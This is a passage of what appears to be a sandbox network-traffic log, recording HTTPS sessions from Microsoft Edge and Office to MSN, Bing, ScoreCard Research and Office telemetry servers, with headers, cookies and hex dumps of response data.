2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 72 b2 ac 70 9c 8b 29 88 de ef f1 d9 ed e9 50 a0 c0 e2 61 87 f8 88 1e 1a 22 31 35 8d 3b cc f2 9f f2 5f 1f ac ea d4 9e 03 2a 3c 92 05 c3 89 12 7f 4d ac 48 f1 5a 1f bc ab 4a a9 c5 55 ce c0 cb 4f ea 23 97 2d ed 38 05 d1 3f c7 99 ff 00 75 b1 8f 34 47 78 ad fe 8f a4 8a a6 c0 16 93 a7 c4 2d c2 fa a1 cd 37 bd ae 71 0d bc ea d1 a7 85 97 82 a7 ed 4a c2 a7 f6 b2 c3 04 df 08 16 d2 e0 95 ed 99 ed 70 c2 de e3 66 5a 30 b4 16 92 67 f5 11 fa 5b 1c f5 53 3e 09 c6 95 1e 58 ca c9 6d 06 88 0e 02 1d a4 d8 ff 00 e6 4e 14 62 c2 a6 01 ac 62 10 23 33 bd 11 b5 05 5f db 46 a3 e2 83 44 5c cb a7 94 81 02 22 40 28 76 fb 5a ab 1e 59 14 b7 cc c8 69 90 de 62 64 17 70 8f 44 be 3c ed 7a f1 a6 97 51 4f b6 d1 86 a5 1a af 3a 0a 6d 93 e2 db 78 ad 3e 96 95 7e 94 12 e0 00 76 a5 a6 5c 00 bc 61 3e Data Ascii: rp)Pa"15;_*<MHZJUO#-8?u4Gx-7qJpfZ0g[S>XmNbb#3_FD\"@(vZYibdpD<zQO:mx>~v\a>
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: ab 88 4c 21 08 77 04 64 49 54 19 88 c6 a8 04 b1 18 bb 01 07 8a 61 69 1f e4 a4 d2 08 9e 8e 1a e7 bd dc a0 71 25 0a 25 fa 0b 66 79 22 f0 c0 00 42 53 bc 51 c6 d3 66 d5 a8 1d 26 e2 79 2c d6 c3 9f c3 ec 8a c2 62 f7 29 10 ae 22 99 ce e6 90 d1 97 90 59 c6 4d 53 3e 08 bc d2 70 cb a5 52 47 e0 b0 13 aa 7b 80 c1 96 57 84 13 4b ac 26 fa ca 3a 88 15 0c 38 d8 72 cf 82 99 d9 a4 6f 2b e9 ab b2 88 70 73 a0 16 91 27 3e 1e 0b 2a ab 8b fc 89 8f 34 7d 6e 95 92 4e 2c 52 67 2b 7a ac 97 34 b7 4b 64 a6 2b ba f2 99 88 d3 3c 97 4d d8 46 72 99 73 ac f9 28 02 a7 2e 00 ab 64 e2 cf 5e 69 a2 8b 9d 61 03 8f 35 dd c2 5e 09 8b 08 13 a6 8b 47 a7 78 35 04 da 01 8c c4 c7 cc 28 9d a1 a6 31 13 2a 7d 16 50 bb 88 79 d0 34 58 0d bf 44 75 26 cb 1b 51 e0 00 6f 03 86 64 7d 82 cd a9 84 93 a9 13 ae 67 Data Ascii: L!wdITaiq%%fy"BSQf&y,b)"YMS>pRG{WK&:8ro+ps'>4}nN,Rg+z4Kd+<MFrs(.d^ia5^Gx5(1}Py4XDu&Qod}g
2024-10-29 01:46:43 UTC	7952	IN	Data Raw: a6 60 32 a7 3d c3 ea 7e a8 7c c6 cd 73 4e d2 79 10 3d 0a 62 19 6a d5 91 05 41 52 92 53 09 73 c1 30 5e 53 4a 7a 2e 11 ca ea b6 a8 5e 61 23 68 49 c3 f4 41 df 52 9d 30 dc d0 63 e6 50 42 c9 90 85 b1 4c 71 d1 25 04 62 ab ca a9 e0 a9 30 66 b0 99 29 59 66 a8 a0 27 2a 22 c5 45 76 68 07 93 f0 7c e6 ba 25 87 fd d3 f7 51 02 cd d9 ef 55 3b a7 6a 64 91 74 c7 2c 87 cf 35 64 e4 96 3d de f5 77 e4 90 41 12 4e 51 68 41 94 58 71 00 70 08 35 11 10 67 12 5b b5 4d 82 73 e3 c1 0e e1 05 04 90 54 35 2a db 9e c5 11 aa 0c 45 33 a8 f5 56 eb 68 52 9b aa b3 21 04 b6 eb e6 8a f2 f0 41 0d 6c 8c 87 0d 3c 10 45 54 b2 53 33 d8 99 50 5b 42 12 c5 93 06 a8 6a e5 31 3f 3f 8a 54 dc ca 01 b8 9c d7 0f 7a 8b cd 85 bc fd cb b4 5c f3 22 67 c9 01 cd cb de aa 77 8a e6 aa 77 c4 80 a4 c9 d3 ee 95 7d aa Data Ascii: `2=~\|sNy=bjARSs0^SJz.^a#hIAR0cPBLq%b0f)Yf'"Evh\|%QU;jdt,5d=wANQhAXqp5g[MsT5E3VhR!Al<ETS3P[Bj1??Tz\"gww}
2024-10-29 01:46:43 UTC	12216	IN	Data Raw: 71 09 0f c6 4d a6 3f de 7e 89 fc 70 9f 96 5e e9 bd 4b bf d5 1e 09 ce ea f0 8b d4 1e 6d fc 4a f9 e8 91 f8 c7 d6 54 1d 58 0f d4 06 c6 4f dd 2f 8e 15 f2 cb df fe fe ff 00 da 7f db f8 26 fe f6 74 78 f3 20 7b d7 ce 45 4a 45 c3 13 c9 da 07 b9 4d ce a3 7b 8f 07 7d 53 f8 f1 29 f2 e4 fa 10 ea 9e 35 ac dd 92 3e a5 5f ef 8f fa a0 7f 88 7d 17 ce 5b 07 42 d3 b5 51 24 66 d3 c2 df f5 2b f8 e1 9f cb 2f a2 3b af 04 7f 6a df e6 3f 45 11 d6 da f5 5b e6 e5 f3 63 55 bc 80 f3 8f 71 51 35 5b 17 71 fe 6f c1 2f 8f 13 f9 72 7d 30 f5 cc 1f f2 0f 27 7e 08 7f de b0 e9 50 7f 30 fa 2f 9c 8a f4 ef 67 1f 32 a1 df 6f 27 fc f9 2a d1 08 f9 32 7d 23 f7 61 c2 d5 40 f3 1f 45 7f b8 1f ea 03 c6 fe e6 af 9b 97 b5 c3 e0 70 f3 5d 89 b1 67 10 55 69 84 eb 97 d3 85 77 45 aa 37 f9 a0 fa 85 13 59 c7 fe Data Ascii: qM?~p^KmJTXO/&tx {EJEM{}S)5>_}[BQ$f+/;j?E[cUqQ5[qo/r}0'~P0/g2o'*2}#a@Ep]gUiwE7Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49918	18.160.172.81	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:42 UTC	925	OUT	GET /b?rn=1730166401151&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=068FFCF09D60634F3420E9D79CEE6292&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:43 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 29 Oct 2024 01:46:43 GMT Location: /b2?rn=1730166401151&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=068FFCF09D60634F3420E9D79CEE6292&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1B7d7e7223fc3752c0cff731730166403; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1B7d7e7223fc3752c0cff731730166403; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 e54bfff3ed72f6e347d9f26d1fa2faa2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAH50-P2 X-Amz-Cf-Id: 4EkNNIr9WiMnjqjLdQI8dtCiLUnU6OdcDzo5UHiR8OcwNfB0La1R4Q==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49914	20.75.60.91	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	999	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=068FFCF09D60634F3420E9D79CEE6292&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=602e5e48c7f9475bd5f9adc16454b770 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=068FFCF09D60634F3420E9D79CEE6292; _EDGE_S=F=1&SID=3A5CC35D774F62DC218AD67A7617639D; _EDGE_V=1
2024-10-29 01:46:43 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2611 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132784-T700343875-C128000000002115149+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115149+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 29 Oct 2024 01:46:42 GMT Connection: close
2024-10-29 01:46:43 UTC	2611	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 43 6f 79 6f 74 65 20 42 75 74 74 65 73 2c 20 41 72 69 7a 6f 6e 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 43 6f 79 6f 74 65 2b 42 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Coyote Buttes, Arizona\",\"cta\":\"https:\/\/www.bing.com\/search?q=Coyote+B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49915	20.189.173.2	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	1072	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730166401149&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4214 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=068FFCF09D60634F3420E9D79CEE6292; _EDGE_S=F=1&SID=3A5CC35D774F62DC218AD67A7617639D; _EDGE_V=1
2024-10-29 01:46:43 UTC	4214	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 39 54 30 31 3a 34 36 3a 34 31 2e 31 34 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 32 35 62 34 33 64 35 2d 37 39 63 32 2d 34 38 31 66 2d 39 62 32 64 2d 36 37 30 62 64 66 63 65 63 63 36 64 22 2c 22 65 70 6f 63 68 22 3a 22 37 38 39 34 34 39 39 39 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-10-29T01:46:41.142Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"c25b43d5-79c2-481f-9b2d-670bdfcecc6d","epoch":"789449990"},"app":{"locale"
2024-10-29 01:46:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=cc5cd51c11af472684582a363ce23b3b&HASH=cc5c&LV=202410&V=4&LU=1730166403298; Domain=.microsoft.com; Expires=Wed, 29 Oct 2025 01:46:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=7c1328ef3f32482099dedb9661be7fee; Domain=.microsoft.com; Expires=Tue, 29 Oct 2024 02:16:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2149 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 29 Oct 2024 01:46:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49917	20.125.209.212	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	1165	OUT	GET /c.gif?rnd=1730166401151&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3d37e0d41e704b1f8ce8809096ccd066&activityId=3d37e0d41e704b1f8ce8809096ccd066&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=068FFCF09D60634F3420E9D79CEE6292; _EDGE_S=F=1&SID=3A5CC35D774F62DC218AD67A7617639D; _EDGE_V=1
2024-10-29 01:46:43 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1730166401151&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3d37e0d41e704b1f8ce8809096ccd066&activityId=3d37e0d41e704b1f8ce8809096ccd066&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=94FE316E6C934768A15D0B4CDF178214&RedC=c.msn.com&MXFR=068FFCF09D60634F3420E9D79CEE6292 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=068FFCF09D60634F3420E9D79CEE6292; domain=.msn.com; expires=Sun, 23-Nov-2025 01:46:43 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Tue, 29 Oct 2024 01:46:42 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49916	20.189.173.2	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	1025	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730166401179&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4375 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=068FFCF09D60634F3420E9D79CEE6292; _EDGE_S=F=1&SID=3A5CC35D774F62DC218AD67A7617639D; _EDGE_V=1
2024-10-29 01:46:43 UTC	4375	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 41 70 70 45 72 72 6f 72 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 30 2d 32 39 54 30 31 3a 34 36 3a 34 31 2e 31 37 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 63 32 35 62 34 33 64 35 2d 37 39 63 32 2d 34 38 31 66 2d 39 62 32 64 2d 36 37 30 62 64 66 63 65 63 63 36 64 22 2c 22 65 70 6f 63 68 22 3a 22 37 38 39 34 34 39 39 39 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.AppError","time":"2024-10-29T01:46:41.178Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"c25b43d5-79c2-481f-9b2d-670bdfcecc6d","epoch":"789449990"},"app":{"locale"
2024-10-29 01:46:43 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=89088b40643b42cc822ca1028bd6829b&HASH=8908&LV=202410&V=4&LU=1730166403639; Domain=.microsoft.com; Expires=Wed, 29 Oct 2025 01:46:43 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=eadaabe195cf44b4b6bed7c12baf640b; Domain=.microsoft.com; Expires=Tue, 29 Oct 2024 02:16:43 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2460 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 29 Oct 2024 01:46:43 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49927	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:43 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:43 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0af8e75-601e-0050-7953-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014643Z-r197bdfb6b4qbfppwgs4nqza8000000004c000000000gd7k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:43 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49926	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:43 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:43 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014643Z-16849878b78fssff8btnns3b14000000060g00000000smdw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:43 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:43 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
